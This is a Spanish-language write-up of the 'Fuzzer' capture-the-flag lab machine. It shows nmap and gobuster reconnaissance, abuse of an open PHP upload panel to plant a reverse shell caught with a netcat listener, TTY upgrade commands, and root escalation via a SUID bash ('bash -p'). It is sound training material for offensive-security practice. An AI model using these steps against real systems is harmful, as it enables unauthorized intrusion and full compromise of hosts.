Fuzzer

Plataforma MSR Dificultad Fácil

By Elmili72

Fuzzer-1

Escaneo general de puertos

Como siempre, empezamos con un escaneo general de los puertos que pudieran estar abiertos en nuestra víctima.

sudo nmap -sS -p- --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allports
Host is up, received arp-response (0.0000010s latency).
Scanned at 2025-06-23 17:23:34 CEST for 0s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Escaneo específico de puertos

Una vez conocemos los puertos realizamos un escaneo específico de estos para conocer las versiones de estos. En este caso de los puertos 22(SSH) y 80 (HTTP).

❯ nmap -sCV -p22,80 172.17.0.2 -oN target
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 16:02:32:18:a0:9d:a8:db:45:c2:b5:35:24:f5:18:fb (ECDSA)
|_  256 31:3a:fe:02:f6:97:26:62:19:c6:ce:6e:16:4b:6c:e6 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Mirasoy Root
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento de Servicio Web

Es importante saber lo que tenemos delante y la herramienta whatweb es muy útil para conocer como está creada la página web y lo que tiene detrás.

❯ whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], Title[Mirasoy Root]

Y si nos metemos en la dirección vemos el siguiente contenido.

Pasted image 20250623172546

Escaneo de Directorios

Siempre viene bien un texto tan revelador por ese, por lo que ya sabemos lo que toca. Fuzzear y buscar información interesante en la máquina.

❯ gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,html,txt,css,js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              js,php,html,txt,css
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 744]
/.html                (Status: 403) [Size: 275]
/upload               (Status: 301) [Size: 309] [--> http://172.17.0.2/upload/]
/panel                (Status: 301) [Size: 308] [--> http://172.17.0.2/panel/]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
===============================================================
Finished
===============================================================

Y en el directorio “panel” vemos un bonito panel de subida de archivos php. Y encima podemos acceder al directorio “upload” y generarnos una shell reversa.

Pasted image 20250623172816

Explotación

Creamos nuestro exploit, viene bien tambien si se quiere crear una webshell para prácticar o directamente una shell de nuestro amigo Pentest Monkey.

Pasted image 20250623172918

Pasted image 20250623172944

Intrusión

Una vez subido creamos una escucha con netcat y logramos acceso sin ningún problema.

Pasted image 20250623173038

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 50086
Linux a77fa3aa6e6a 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64 x86_64 x86_64 GNU/Linux
 17:30:45 up 32 min,  0 user,  load average: 1.09, 2.51, 1.33
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can\'t access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-Explotación

Al tener una sh, pues como siempre nos hacemos una shell bonita y realmente interactiva, que un Ctrl+Z no te arruine la fiesta.

$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
bash-5.2$ ^Z
[1]  + 37192 suspended  nc -lvnp 4444
❯ stty raw -echo; fg
[1]  + 37192 continued  nc -lvnp 4444
                                     reset xterm
bash-5.2$ export TERM=xterm

Escalada de Privilegios

No hay más usuarios a los que hacer movimiento lateral o pivoting, por lo que buscamos rápidamente una forma de escalar (nuestro momento favorito :D), en este caso directamente buscamos archivos con permisos SUID y vemos que la propia bash los tiene.

bash-5.2$ find / -perm -4000 2>/dev/null
/usr/local/bin/bash
/usr/bin/mount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/su
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Pues sin problemas nos creamos una bash privilegiada (-p) y conseguimos ser el usuario root.

bash-5.2$ bash -p
bash-5.2# whoami
root
bash-5.2# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-5.2# cd /root
bash-5.2# cat mirasoyroot.txt 
Enhorabuena hacker has conseguido pasarte el reto si eres de los tres primero escribeme por instagram y te pondre en el podio. =)

¡Espero que os haya gustado y os haya servido de ayuda! ¡Hasta el próximo writeup!

Share: LinkedIn